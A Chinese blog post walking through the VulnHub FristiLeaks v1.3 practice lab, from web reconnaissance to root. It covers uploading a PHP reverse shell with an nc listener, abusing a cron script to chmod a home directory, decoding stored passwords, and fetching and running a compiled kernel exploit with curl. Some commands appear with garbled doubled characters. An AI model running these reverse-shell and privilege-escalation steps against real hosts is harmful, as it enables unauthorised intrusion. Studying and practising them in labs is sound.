渗透测试系列 — VulnHub – FristiLeaks v1.3

正文:

慢慢进行VulnHub(漏洞镜像资源)学习;还有个webug资源学习。
这个测试是从web渗透到linux提权
怎么说呢,满满的知识,都是干货(kali上各种工具,linux下的目录结构层次,web渗透的思路)

开始:FristiLeaks v1.3

不知道为什么我测试时vm搭建一直dhcp不出来网络,所以直接改root密码,进去主机配置网络
找到了原因:配置文件是eth0,而ifconfig -a出来是eth2
1.改/etc/sysconfig/network-scripts/ifcfg-eth2 中的devices=eth2,
2.MAC地址(在虚拟机设置高级选项中找)
桥接出来网络正确

一.修改密码

进入centos    救援模式      修改密码(版本是centos6.7)
CentOS 7之前版本进入救援模式的方法:
①Linux开机引导的时候,按键盘上的e 进入GRUB菜单界面。
②在出现GRUB引导画面时(CentOS(2.6.18-274**)),按字母e键,进入GRUB编辑状态。
③把光标移动到kernel …那一行,再敲入“e”进入命令行编辑,
④在kernel 一行的最后加上空格single,回车
⑤敲入“b”,启动系统,即进入单用户模式,
⑥passwd root修改密码。
⑦reboot重启。

二.更改dhcp,发现

纯命令界面会发现tab键非常好用。
vi /etc/sysconfig/network-scripts/ifcfg-eth0
标识 5 ONBOOT=no 修改为 ONBOOT=yes
# 是否随系统启动
标识 7 BOOTPROTO=dhcp 修改为 BOOTPROTO=static
# IP地址分配方式,是DHCP服务器自动分配,还是手动配置
要增加的内容:
IPADDR=192.168.1.108 << IP
NETMASK=255.255.255.0 << 子网掩码
GATEWAY=192.168.244.2 <<网关
DNS1=192.168.244.2
DNS2=192.168.244.2

三.修改eth0

重启会发现eth0没有
https://www.cnblogs.com/fbwfbi/archive/2013/04/29/3050907.html
修改eth0

四.web渗透

参考来自
1.netdiscover -r 192.168.1.0/24
发现192.168.1.103(我直接看了的,且显示VMware, Inc.),还发发现了101(我的电脑),102(不知道哪位室友的电脑)
2.nmap -sS -Pn -T4 192.168.1.103
80/tcp open http
3.nmap -A -O -p80 192.168.1.103
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
OS details: Linux 2.6.32 – 3.10, Linux 2.6.32 – 3.13
4.登陆web,192.168.1.103
5.robots.txt
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
进去三个都是同一张图片
6.drib http://192.168.1.103
+ http://192.168.1.103/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://192.168.1.103/images/
+ http://192.168.1.103/index.html (CODE:200|SIZE:703)
+ http://192.168.1.103/robots.txt (CODE:200|SIZE:62)
7.http://192.168.1.103/fristi/  进入后台登陆页面
(为什么呢,教程直接说的图片上提示,keep-calm),也是一个常见思路,比如账号一般是admin,和数据库里的用户名一样(以前扫数据库常遇到这种情况)或者是网站域名(常见),密码一般是用户名(为什么?好记。。。)
8.
admin  admin  登陆不上去。
自己用burpsuite跑了一下密码,有5个长短词等等,没有一一去试。
换方法,不是登陆了主机嘛,直接去数据库看
发现数据库密码不知道,改数据库root密码
1)https://www.jb51.net/article/106996.htm
2)https://blog.csdn.net/u012323576/article/details/73863283   (这种和kali里mysql改密码类似)linux下改mysql密码目前遇到就这两种
得到后台账号eezeepz,密码keKkeKKeKKeKkEkkEk   (这个密码。。。害不害怕)
9.教程给了一种方法得到密码
view-source:http://192.168.1.103/fristi/   (右键)
by eezeepz
出来个base64编码的图片
保存到1.txt文件中,base -d 1.txt   png开头
base -d 1.txt >> 1.png   查看图片得到keKkeKKeKKeKkEkkEk
介绍 feh 1.png
试试 username:eezeepz password:keKkeKKeKKeKkEkkEk  登陆进去
10.
下载shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
做一些必要的修改,ip地址和监听端口。
11.
nc -nlvp 8888
上传文件(burp抓包修改,直接加.jpg)
 
权限提升  nc -n -l -v -p 8880

五.linux提权

还要进行linux系统中的信息挖掘
1.先照着教程做,积累经验
cd home
cd eezeepz
2.cat notes.txt
3.按照提示vi /tmp/runthis
4.eecchhoo “”//uussrr//bbiinn//….//….//bbiinn//cchhmmoodd –RR 777777 //hhoommee//aaddmmiinn”” >> //ttmmpp//rruunntthhiiss
5.
查看home下的
cronjob.py
cryptedpass.txt
cryptpass.py
6. cat cryptpass.py
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], ‘rot13’)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
反向解密
string=string[::-1]
string=string.encode(“rot13”)
string=base64.b64decode(string)
7.ccaatt cryptedpass.txtcryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
8.ccaatt whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
9.解密得到
1.mVGZ3O3omkJLmy2pcuTq :thisisalsopw123
2.=RFn0AKnlMHMPIzpyuTI0ITG :LetThereBeFristi!
10.
ssuu — ffrriissttiiggoodd   (-, -l, –login        make the shell a login shell)
出现:standard in must be a tty
跟 su 命令的实现有关; B环境上su的实现应该是判断标准输入是不是tty ; 而A环境上su的实现则允许从其他文件读取密码。
解决:
python -c ‘import pty;pty.spawn(“/bin/sh”)’
su – fristigod
passwd:LetThereBeFristi!
11.
ls
ls -la
12.
cd .secret_admin_stuff  (我测试没有那个文件)
ls -la
13.待补
14.sudo -l

-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。

passwd:LetThereBeFristi!
15.创建shell,再查看root权限的文件,得到flag
最后这点详细查阅完资料,待补

六.linux下通过编译exp提升到root权限

参考
1.cat /etc/*-release
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
2.
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
3.
searchsploit centos
4.
cd /usr/share/exploitdb
exploits/linux/local/25444.c(找到它)
5.
在shell权限下编译会出现语法错误
在kali主机下编译通过
所以先在主机下编译好  gcc exploit.c -o exploit
6.
在kali下打开网站
在shell命令下curl 192.168.244.129/exploit -o exploit
下载好了编译好的exploit
7.
./exploit
sh: ./exploit: Permission denied
8.
chmod 777 ./exploit
./exploit
./exploit: /lib64/libc.so.6: version `GLIBC_2.14′ not found (required by ./exploit)
这个问题是系统的glibc版本太低,软件编译时使用了较高版本的glibc引起的:
https://blog.csdn.net/ppwangGS/article/details/70447549   解决
9.
strings /lib64/libc.so.6 |grep GLIBC_
curl http://ftp.gnu.org/gnu/glibc/glibc-2.14.tar.gz -o glibc-2.14.tar.gz
网上看都是缺2.14
10.(没有按好,方法是这样,直接编译好就行了)

[root@localhost ~]# tar xvf glibc-2.14.tar.gz
[root@localhost ~]# cd glibc-2.14
[root@localhost glibc-2.14]# mkdir build
[root@localhost glibc-2.14]# cd ./build
[root@localhost build]# ../configure --prefix=/opt/glibc-2.14
[root@localhost build]# make -j4
[root@localhost build]# make install
export LD_LIBRARY_PATH=/tmp/glibc-2.14/lib:$LD_LIBRARY_PATH

11.环境变量设置

 1./etc/profile   (建议不修改这个文件 )
 全局(公有)配置,不管是哪个用户,登录时都会读取该文件。
 2./etc/bashrc    (一般在这个文件中添加系统级环境变量)
 全局(公有)配置,bash shell执行时,不管是何种方式,都会读取此文件。
 3.~/.bash_profile  (一般在这个文件中添加用户级环境变量)
 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!
终端输入:open ~/.bash_profile
打开这个我们用户配置的环境变量文件,发现不知道什么时候,PATH这个环境变量出现了两个,于是我大胆将下面那个删了。重启终端。
搞定,这句export: `PATH;': not a valid identifier消失了,于是又按照昨天安装的步骤重新来了一遍。OK了
大家以后遇到not a valid identifier这种问题就可以去环境变量配置的文件好好检查一下,有时候多加空格或者符号中英文错了也会导致这种错误。

12.
获取到了root权限,接下来获取交互式的shell
$ python -c ‘import pty; pty.spawn(“/bin/bash”)’
 
 
2018.6.22

发表评论

电子邮件地址不会被公开。 必填项已用*标注